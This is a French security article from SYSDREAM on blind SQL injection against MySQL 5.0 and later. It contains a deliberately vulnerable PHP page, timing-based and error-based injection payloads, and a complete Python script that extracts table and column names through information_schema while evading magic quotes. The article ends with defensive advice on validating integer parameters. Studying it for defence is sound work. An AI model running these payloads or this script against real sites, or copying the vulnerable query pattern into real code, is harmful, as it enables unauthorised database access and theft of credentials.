



SYSDREAM
IT Security Services

SQL Injection en Aveugle

Damien CAUQUIL
<d.cauquil@sysdream.com>

Introduction

Les failles d'injection de code SQL sont désormais bien connues, mais les techniques d'exploitation en aveugle le sont moins. Les astuces pour obtenir le nombre de champs employés dans une requête SELECT, ou pour brute-forcer les valeurs des champs de manière dichotomique sont elles aussi de plus en plus rencontrées au travers de l'ensemble des pages traitant de ce sujet sur Internet. Mais qu'en est-il des techniques de découverte et de récupération de données dans un environnement inconnu, lorsqu'on se trouve dans l'incapacité de déterminer si une requête forgée a provoqué le résultat attendu ?

Nous allons aborder dans cet article une technique particulière qui permet de récupérer, sur des systèmes employant MySQL 5.0 et supérieur, l'architecture de la base de données, et nous nous attellerons à la réalisation d'un programme en python qui facilitera cette exploitation.

Progression en aveugle

Nous considérons à partir de ce moment que nous possédons une page faillible à une injection SQL, dont les arguments sont passés par l'URL (méthode GET). Le champ faillible est un champ numérique, et les magic quotes sont activées. En essayant d'injecter, nous avons réussi à obtenir un message d'erreur, ce qui a permis d'identifier la faille, mais en exploitant correctement la faille (en mettant par exemple comme valeur « OR 1=1 »), il s'est avéré impossible de dire si la requête a bien abouti ou non. A priori aucune exploitation de cette faille n'est possible, du moins si on écarte l'attaque par « timing ».

Cette attaque par « timing » est quelque peu particulière, car elle repose sur le temps mis par le script exécuté côté serveur à générer une page. En effet, si ce script effectue une requête SQL qui prend du temps, le temps de génération de la page s'en ressentira. L'idée est donc de tester un critère via une requête injectée, et en fonction du résultat provoquer une opération qui prend du temps. Il ne reste plus qu'à comparer le temps de génération normal de la page avec le temps de génération lorsque l'on injecte la requête forgée: si celui-ci est conséquent, alors la condition a été vérifiée. D'un point de vue pratique, cela se résume à l'injection d'un IF(). Pour effectuer nos tests, nous allons prendre pour cible une page vulnérable qui simule ce type de situation:

[code]

```
<?php
```

```
/* connexion a la bdd */  
mysql_connect('localhost','test','test');  
mysql_select_db('test');
```

```
$id = $_GET['id'];
```

```
if ($id!="")
```

```

{
    $query = "SELECT id,name FROM products WHERE id=".$id." LIMIT 1";
    $res = mysql_query($query);
    if ($res!=NULL)
    {
        echo('Goto voir article');
        mysql_free_result($res);
    }
}
else
{
?>
<html>
<head>
<title>SQL Injection: demo</title>
</head>
<body>
<form action="" method='GET'>
ID Article:<input type="text" name="id"><br>
<input type="submit" value="View">
</form>
</body>
</html>
<?php
}
?>
[/code]

```

Notons tout d'abord que la variable \$id est considérée comme un entier, et n'est pas filtrée par le script. Essayons de passer comme valeur dans la variable id (on suppose que les chaînes de caractères indiquées dans la requête seront encodées par la suite à l'aide de l'opérateur CHAR() de MySQL):

```

0 UNION SELECT IF(COUNT(*)<1,0,BENCHMARK(5000000,ENCODE('b','a'))),0
FROM information_schema.TABLES #

```

Si le nombre d'enregistrements de la table information_schema.TABLES est bien inférieur à 1, alors la requête va mettre un certain temps à s'exécuter, ce qui se ressentira sur la durée de génération de la page HTML. On sera donc en mesure, après un certain nombre d'injections, de déterminer le nombre exact de tables accessibles par l'utilisateur. On peut aussi appliquer cette technique pour identifier le nombre d'utilisateurs d'un site, etc...

Cependant, cette attaque par "timing" a plusieurs inconvénients:

- La directive IF() s'applique à l'ensemble des enregistrements retournés, on est donc obligé de limiter ce nombre d'enregistrements à 1 de manière à avoir un résultat fiable. Le fait de faire appel à COUNT() permet de contourner cette restriction.
- Le temps mis pour récupérer l'ensemble des données est long, et les temps

de latence induits par l'Internet n'aident pas lors de la comparaison des temps de génération de la page.

Il faut donc trouver une attaque plus efficace, c'est à dire qui exploite le même principe mais sans se baser sur le temps de génération. Cela peut sembler à priori impossible, mais une solution a été trouvée.

Erreurs conditionnelles du langage SQL

La clef de l'attaque par "timing" est la possibilité que l'utilisateur a de déterminer si une requête a réussi ou non selon le temps d'exécution. Nous cherchons à éviter à tout prix l'emploi de fonctions coûteuses en temps telles que BENCHMARK(), et nous devons trouver une alternative à ce genre de méthode de discrimination. Une technique connue consiste à utiliser l'opérateur de comparaison IF() afin de provoquer une erreur SQL conditionnelle. De cette façon, si la condition vérifiée par le IF() est fausse, on peut forcer la génération d'une erreur SQL. Ceci est facilement réalisable en spécifiant une sous-requête SQL qui renvoie plus d'un enregistrement, comme celle-ci:

```
0 UNION SELECT IF(COUNT(*)<X,0,(SELECT 0 FROM
information_schema.TABLES)) FROM information_schema.TABLES #
```

Le IF() s'applique donc uniquement au nombre d'enregistrements de la table information_schema.TABLES et provoque, si la condition est fausse, l'appel à la sous-requête (SELECT 0 FROM information_schema.TABLES), qui aura pour conséquence de renvoyer (en supposant que la base de données contienne plus d'une table) plus d'un enregistrement, et provoquera une erreur SQL. On prendra soin de noter que cette requête ne contient aucune quote simple. Nous serons donc en mesure de déterminer ici si la condition inscrite dans le IF est vérifiée ou non, sans avoir recours à une attaque par "timing". Testons sur notre page d'exemple, à l'aide d'un petit script python:

[code]

```
#!/usr/bin/python
```

```
import httplib,urllib
```

```
def Inject(sql):
```

```
    h = httplib.HTTP('localhost:80')
```

```
    h.putrequest("GET", "?id=0%%20%s" % urllib.quote(sql))
```

```
    h.putheader('Host', "localhost")
```

```
    h.putheader("Content-type",'application/x-www-form-urlencoded')
```

```
    h.putheader("User-Agent","Mozilla/5.0 (Windows; U; Windows NT 5.1; fr;
```

```
rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12")
```

```
    h.endheaders()
```

```
    reponse, msg, entetes = h.getreply()
```

```
    resp = h.getfile().read()
```

```
    print resp
```

```

print 'premiere injection (COUNT(*)<2):'
Inject("    UNION    SELECT    IF(COUNT(*)<2,0,(SELECT    0    FROM
information_schema.TABLES)),0 FROM users #")
print 'seconde injection (COUNT(*)<1):'
Inject("    UNION    SELECT    IF(COUNT(*)<1,0,(SELECT    0    FROM
information_schema.TABLES)),0 FROM users #")
[/code]

```

En lançant ce script on obtient:

```

[XTERM]
$ python demo.py
premiere injection (COUNT(*)<2):
Goto espace membres

seconde injection (COUNT(*)<1):
<br />
<b>Warning</b>:                mysql_query()                [<a
href='http://www.mysql.com/doc'>http://www.mysql.com/doc</a>]: Subquery
returns more than 1 row in <b>index.php</b> on line <b>13</b><br />
[/XTERM]

```

L'utilisation de l'opérateur IF a toutefois une contrepartie, car le IF s'applique à tous les enregistrements de la sélection. Il est donc très difficile dans ce cas de cibler un enregistrement précis afin d'en déduire des informations. Nous devons trouver une solution qui permette de réduire le nombre d'enregistrements retournés par la requête SELECT.

Quand COUNT() et LIKE permettent d'énumérer

La solution réside dans l'utilisation conjointe de COUNT() et LIKE. En effet, l'appel à COUNT() est indépendant des enregistrements retournés par la requête SELECT , et l'appel à LIKE nous autorise une certaine marge de manœuvre, vu que cet opérateur permet de spécifier des caractères joker, et donc de couvrir un champ de possibilité plus grand. En utilisant cette injection "0 UNION SELECT IF (COUNT(*)<X,0,(SELECT 0 FROM information_schema.TABLES)),0 FROM information_schema.TABLES WHERE table_name LIKE 'a%' #", on peut tenter de déterminer le nombre de tables dont le nom commence par la lettre 'a', l'idée sous-jacente étant de pouvoir brute-forcer de manière intelligente le nom des tables afin d'arriver à un motif précisé dans le LIKE qui ne retourne qu'un seul enregistrement. Une fois ce motif identifié, nous pourrions appliquer le principe de discrimination basé sur le IF() en spécifiant une clause "WHERE champ LIKE motif". Nous sommes en mesure, grâce au IF() et à la sous-requête provoquant l'erreur SQL, de déterminer si une valeur vérifie une condition. Nous sommes prêts pour effectuer une attaque par dichotomie sur la valeur du champ visé, en l'occurrence le nom d'une table. Nous prendrons soin, comme dans l'exemple précédemment cité, d'encoder la chaîne 'a%' à l'aide de l'opérateur CHAR()

afin d'échapper aux magic quotes.

Nous allons utiliser un algorithme de recherche récursif (c'est assez simple à réaliser en python), qui exploite la page vulnérable afin d'en déduire le nom des tables et leurs champs. La routine principale de recherche ressemble à ceci:

```
Fonction RechercheTable(motif, nb)
{
    sub = 0
    pour chaque caractère de "abcd...9" faire
    {
        nb_tables = GetNbTables(motif+car+'%')
        Si nb_tables = 1 alors
            Afficher(motif)
            sub = sub + 1
        Sinon
            RechercheTable(motif+car, nb_tables)
        Si sub=nb Alors
            retourne nb
    }
    retourne nb
}
```

Le principe est simple: on crée un motif dynamiquement et on récupère le nombre de tables qui correspondent à ce motif. Il ne reste plus qu'à ajouter au fur et à mesure un caractère à la fin du motif, suivi du joker '%', et à attendre qu'une seule table corresponde au motif. De cette manière, si on spécifie par la suite dans la requête forgée "WHERE table_name LIKE 'motif'", on est assuré de ne choisir qu'un seul enregistrement, et le résultat provoqué par le IF() ne s'appliquera qu'à cet enregistrement seul.

Bien entendu, la procédure GetNbTables() récupère (toujours en exploitant l'injection SQL) le nombre de tables qui correspondent au motif passé en paramètre, et la procédure Afficher() récupère le nom intégral de la table par dichotomie et l'affiche à l'écran. L'algorithme entier n'est pas détaillé ici pour un souci de clarté.

Cet algorithme de recherche est assez rapide, du fait qu'il exploite les propriétés de LIKE et permet de retrouver de manière progressive le nom des tables présentes, en l'occurrence dans la table information_schema, ce qui nous épargne une recherche exhaustive.

Ce principe est également applicable aux champs des tables, via la table information_schema.COLUMNS, ainsi qu'à la déduction de valeur contenues dans des enregistrements.

Implémentation

Nous proposons ici une implémentation de cette technique de découverte des

tables et champs à l'aide d'un script python.

```
#!/usr/bin/python
```

```
import httplib,urllib
import re
```

```
def Inject(sql):
    valid = re.compile('Goto');

    h = httplib.HTTP('localhost:80')
    h.putrequest("GET", "?id=0%%20%s" % urllib.quote(sql))
    h.putheader('Host', "localhost")
    h.putheader("Content-type",'application/x-www-form-urlencoded')
    h.putheader("User-Agent","Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12")
    h.endheaders()
    reponse, msg, entetes = h.getreply()
    resp = h.getfile().read()
    #print resp
    if valid.search(resp):
        return True
    else:
        return False
```

```
def EncodeStr(string):
    res = 'CHAR'
    i = 0
    for car in string:
        if i==0:
            res+='('
        else:
            res+=','
        res += str(ord(car))
        i+=1
    res += ')'
    return res
```

```
#####
```

```
# TABLE MINING
```

```
#####
```

```
def GetNbTables(table_pat):
```

```
    min = 0
    max = 100
```

```
    # on cree la requete
```

```
    while(abs(max-min)>1):
```

```
        milieu = min + (max - min)/2
```

```
        req = " union select IF(COUNT(*)<%d,0,(SELECT table_name FROM
```

```

information_schema.TABLES)),0 FROM information_schema.TABLES WHERE
table_name LIKE %s #" % (milieu, EncodeStr(table_pat))
    if Inject(req):
        max = milieu
    else:
        min = milieu
return min

```

```

def GetTableNameLength(table_pat):
    min = 0
    max = 1000

    # on cree la requete
    while(abs(max-min)>1):
        milieu = min + (max - min)/2
        req = " union select IF(LENGTH(table_name)<%d,0,(SELECT
table_name FROM information_schema.TABLES)),0 FROM
information_schema.TABLES WHERE table_name LIKE %s #" % (milieu,
EncodeStr(table_pat))
        if Inject(req):
            max = milieu
        else:
            min = milieu
    return min

```

```

def GetTableNameChar(table_pat,pos):
    min = 0
    max = 255

    # on cree la requete
    while(abs(max-min)>1):
        milieu = min + (max - min)/2
        req = " UNION SELECT IF(ORD(SUBSTRING(table_name,%d,1))<
%d,0,(SELECT table_name FROM information_schema.TABLES)),0 FROM
information_schema.TABLES WHERE table_name LIKE %s #" %
(pos+1,milieu,EncodeStr(table_pat))
        if Inject(req):
            max = milieu
        else:
            min = milieu
    return '%c' % min

```

```

def GetTableName(table_pat):
    tablename = ""
    size = GetTableNameLength(table_pat)
    #print 'table name size: %d' % size
    for i in range(0,size):
        tablename += GetTableNameChar(table_pat,i)

```

```
return tablename
```

```
def TableMining(start_pat, nb):
```

```
    field_list = []
    sub = 0
    n = 0
    #print 'nb=%d' % nb
    cars = 'abcdefghijklmnopqrstuvwxyz_0123456789+?:@!' # authorized
characters (37)
    for i in range(0,42):
        car = cars[i:i+1]

        if car=='_':
            car='\_'
        if car=='%':
            car='\%'

        pat = "%s%s" % (start_pat,car)
        ntables = GetNbTables(pat+'%')
        if ntables==1:
            print '[+] ' + GetTableName(pat+'%')
            FieldMining(pat+'%',',',GetNbFields(pat+'%', '%'))
            sub += 1
        elif ntables>1:
            sub += TableMining(pat,ntables)
        if sub>=nb:
            return nb
    return nb
```

```
#####
# FIELD MINING
#####
```

```
def GetFieldNameLength(table,field_pat):
```

```
    min = 0
    max = 1000

    # on cree la requete
    while(abs(max-min)>1):
        milieu = min + (max - min)/2
        req = " union select IF(LENGTH(column_name)<%d,0,(SELECT
table_name FROM information_schema.TABLES)),0 FROM
information_schema.COLUMNS WHERE column_name LIKE %s AND table_name
LIKE %s #" % (milieu, EncodeStr(field_pat),EncodeStr(table))
        if Inject(req):
            max = milieu
        else:
```

```

        min = milieu
    return min

def GetFieldNameChar(table,field_pat,pos):
    min = 0
    max = 255

    # on cree la requete
    while(abs(max-min)>1):
        milieu = min + (max - min)/2
        req = " union select IF(ORD(SUBSTRING(column_name,%d,1))<
%d,0,(SELECT table_name FROM information_schema.TABLES)),0 FROM
information_schema.COLUMNS WHERE column_name LIKE %s AND table_name
LIKE %s#" % (pos+1,milieu,EncodeStr(field_pat),EncodeStr(table))
        if Inject(req):
            max = milieu
        else:
            min = milieu
    return '%c' % min

def GetFieldName(table,field_pat):
    fieldname = ""
    size = GetFieldNameLength(table,field_pat)
    #print 'field name size: %d' % size
    for i in range(0,size):
        fieldname += GetFieldNameChar(table,field_pat,i)
    return fieldname

def GetNbFields(table, field_pat):
    min = 0
    max = 100

    # on cree la requete
    while(abs(max-min)>1):
        milieu = min + (max - min)/2
        req = " union select IF(COUNT(*)<%d,0,(SELECT table_name FROM
information_schema.TABLES)),0 FROM information_schema.COLUMNS WHERE
column_name LIKE %s AND table_name LIKE %s #" % (milieu,
EncodeStr(field_pat), EncodeStr(table))
        if Inject(req):
            max = milieu
        else:
            min = milieu
    return min

def FieldMining(table, start_pat, nb):

```

```

field_list = []
sub = 0
n = 0
#print 'nb=%d' % nb
cars = 'abcdefghijklmnopqrstuvwxyz_0123456789+?:@!' # authorized
characters (37)
for i in range(0,42):
    car = cars[i:i+1]

    if car=='_':
        car='\_'
    if car=='%':
        car='\%'

    pat = "%s%s" % (start_pat,car)
    nfields = GetNbFields(table, pat+'%')
    if nfields==1:
        print '-> ' + GetFieldName(table,pat+'%')
        sub += 1
    elif nfields>1:
        sub += FieldMining(table,pat,nfields)
    if sub>=nb:
        return nb

```

```

TableMining('%',GetNbTables('%'))
[/code]

```

Et on obtient en retour la structure de la base de données:

```

[code]
[+] CHARACTER_SETS
-> CHARACTER_SET_NAME
-> DEFAULT_COLLATE_NAME
-> DESCRIPTION
-> MAXLEN
[+] COLLATIONS
-> CHARACTER_SET_NAME
-> COLLATION_NAME
-> ID
-> IS_COMPILED
-> IS_DEFAULT
-> SORTLEN
[...]
[+] users
-> id
-> password
-> username
[+] USER_PRIVILEGES
-> GRANTEE

```

```
-> IS_GRANTABLE  
-> PRIVILEGE_TYPE  
-> TABLE_CATALOG
```

```
[...]
```

```
[/code]
```

On voit ici que la table users, à priori inconnue d'un attaquant, a été identifiée avec le nom de ses champs en moins de quelques minutes.

Conclusion

Cette technique d'attaque par force-brute du contenu des champs, basée sur COUNT(), IF() et LIKE, est beaucoup plus efficace qu'une attaque par "timing". Certes, la technique consistant à provoquer une erreur SQL n'est pas nouvelle, mais son utilisation dans le cadre de l'attaque menée ici est atypique. Ce type d'exploitation avancée d'injections SQL en aveugle permet de récupérer n'importe quelle donnée stockée dans la base de données, mais aussi le nom des tables et leurs champs associés, et cela bien que les magic quotes soient activées. Développer de manière sécurisée et auditer son code sont les deux moyens d'éviter ce type de faille. Dans notre script php de test, il suffit simplement de vérifier que le paramètre id est bien un entier afin d'éviter l'attaque démontrée dans cet article.

Ce type de faille est monnaie courante, car le filtrage de paramètres entiers n'est souvent pas appliqué à tous les paramètres traités par toutes les pages d'un site (ce qui peut être fastidieux à implémenter). Néanmoins, l'emploi d'une politique de développement sécurisée et d'audit interne permet de réduire le risque d'apparition de ce type de faille, et le développement d'un framework interne de traitement des paramètres envoyés à une page peut être une solution simple et efficace, car elle centralise le filtrage et l'assainissement des données provenant de l'extérieur.